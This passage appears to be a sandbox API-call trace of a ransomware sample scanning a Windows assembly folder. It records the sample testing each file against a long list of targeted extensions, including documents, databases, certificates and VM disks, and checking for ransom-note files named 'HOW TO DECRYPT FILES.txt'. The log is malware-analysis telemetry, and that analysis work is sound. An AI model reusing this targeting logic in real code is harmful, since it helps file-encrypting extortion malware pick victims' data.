PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.139] lstrlenA (lpString="*.fdb") returned 5 [0111.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0111.139] lstrlenA (lpString="*.wab") returned 5 [0111.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0111.139] lstrlenA (lpString="*.dat") returned 5 [0111.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0111.139] lstrlenA (lpString="*.txt") returned 5 [0111.139] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.140] lstrlenA (lpString="*.jpeg") returned 6 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.140] lstrlenA (lpString="*.jpg") returned 5 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0111.140] lstrlenA (lpString="*.png") returned 5 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0111.140] lstrlenA (lpString="*.php") returned 5 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0111.140] lstrlenA (lpString="*.cs") returned 4 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.140] lstrlenA (lpString="*.cpp") returned 5 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0111.140] lstrlenA (lpString="*.rar") returned 5 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0111.140] lstrlenA (lpString="*.zip") returned 5 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0111.140] lstrlenA (lpString="*.html") returned 6 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0111.140] lstrlenA (lpString="*.htm") returned 5 [0111.140] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.141] lstrlenA (lpString="*.xlsx") returned 6 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0111.141] lstrlenA (lpString="*.xls") returned 5 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.141] lstrlenA (lpString="*.mp4") returned 5 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.141] lstrlenA (lpString="*.ppt") returned 5 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.141] lstrlenA (lpString="*.pptx") returned 6 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0111.141] lstrlenA (lpString="*.doc") returned 5 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0111.141] lstrlenA (lpString="*.dot") returned 5 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0111.141] lstrlenA (lpString="*.docx") returned 6 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0111.141] lstrlenA (lpString="*.7z") returned 4 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0111.141] lstrlenA (lpString="*.tar") returned 5 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.141] lstrlenA (lpString="*.bz2") returned 5 [0111.141] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0111.142] lstrlenA (lpString="*.gz") returned 4 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.142] lstrlenA (lpString="*.mkv") returned 5 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.142] lstrlenA (lpString="*.eml") returned 5 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0111.142] lstrlenA (lpString="*.msg") returned 5 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0111.142] lstrlenA (lpString="*.edb") returned 5 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.142] lstrlenA (lpString="*.accdb") returned 7 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0111.142] lstrlenA (lpString="*.odb") returned 5 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0111.142] lstrlenA (lpString="*.java") returned 6 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0111.142] lstrlenA (lpString="*.asm") returned 5 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.142] lstrlenA (lpString="*.pfx") returned 5 [0111.142] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0111.142] lstrlenA (lpString="*.pem") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0111.143] lstrlenA (lpString="*.p12") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0111.143] lstrlenA (lpString="*.gpg") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0111.143] lstrlenA (lpString="*.vsd") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0111.143] lstrlenA (lpString="*.odg") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0111.143] lstrlenA (lpString="*.raw") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0111.143] lstrlenA (lpString="*.nef") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0111.143] lstrlenA (lpString="*.svg") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0111.143] lstrlenA (lpString="*.psd") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0111.143] lstrlenA (lpString="*.vmx") returned 5 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0111.143] lstrlenA (lpString="*.vmdk") returned 6 [0111.143] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0111.144] lstrlenA (lpString="*.vdi") returned 5 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0111.144] lstrlenA (lpString="*.lay6") returned 6 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0111.144] lstrlenA (lpString="*.mpeg") returned 6 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0111.144] lstrlenA (lpString="*.djvu") returned 6 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0111.144] lstrlenA (lpString="*.tiff") returned 6 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0111.144] lstrlenA (lpString="*.backup") returned 8 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0111.144] lstrlenA (lpString="*.pdf") returned 5 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0111.144] lstrlenA (lpString="*.cert") returned 6 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0111.144] lstrlenA (lpString="*.docm") returned 6 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0111.144] lstrlenA (lpString="*.xlsm") returned 6 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0111.144] lstrlenA (lpString="*.dwg") returned 5 [0111.144] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0111.145] lstrlenA (lpString="*.nd") returned 4 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0111.145] lstrlenA (lpString="*.tlg") returned 5 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0111.145] lstrlenA (lpString="*.lgb") returned 5 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0111.145] lstrlenA (lpString="*.mov") returned 5 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0111.145] lstrlenA (lpString="*.xdw") returned 5 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0111.145] lstrlenA (lpString="*.ods") returned 5 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0111.145] lstrlenA (lpString="*.wav") returned 5 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0111.145] lstrlenA (lpString="*.mp3") returned 5 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0111.145] lstrlenA (lpString="*.aiff") returned 6 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0111.145] lstrlenA (lpString="*.flac") returned 6 [0111.145] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.146] lstrlenA (lpString="*.m4a") returned 5 [0111.146] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bbe7b2d338397b14dbab217c610b0629\\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0111.146] lstrlenA (lpString="*.csv") returned 5 [0111.146] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72007e20, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72007e20, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72007e20, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.146] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.146] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3728cdf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3728cdf0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3728cdf0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="bd1950e68286b869edc77261e0821c93", cAlternateFileName="BD1950~1")) returned 1 [0111.146] lstrcmpA (lpString1=".", lpString2="bd1950e68286b869edc77261e0821c93") returned -1 [0111.146] lstrcmpA (lpString1="..", lpString2="bd1950e68286b869edc77261e0821c93") returned -1 [0111.146] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0111.146] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="bd1950e68286b869edc77261e0821c93" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93" [0111.146] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93") returned 100 [0111.146] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3728cdf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3728cdf0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3728cdf0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.147] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.147] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3728cdf0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3728cdf0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3728cdf0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.147] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.147] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.147] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37240b30, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x37240b30, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x37240b30, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x15400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.147] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.147] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll") returned -1 [0111.147] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll") returned -1 [0111.147] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v9.0.ni.dll") returned -1 [0111.147] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\*.*") returned="*.*" [0111.147] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\bd1950e68286b869edc77261e0821c93\\" [0111.148] PathAddBackslashA (in: 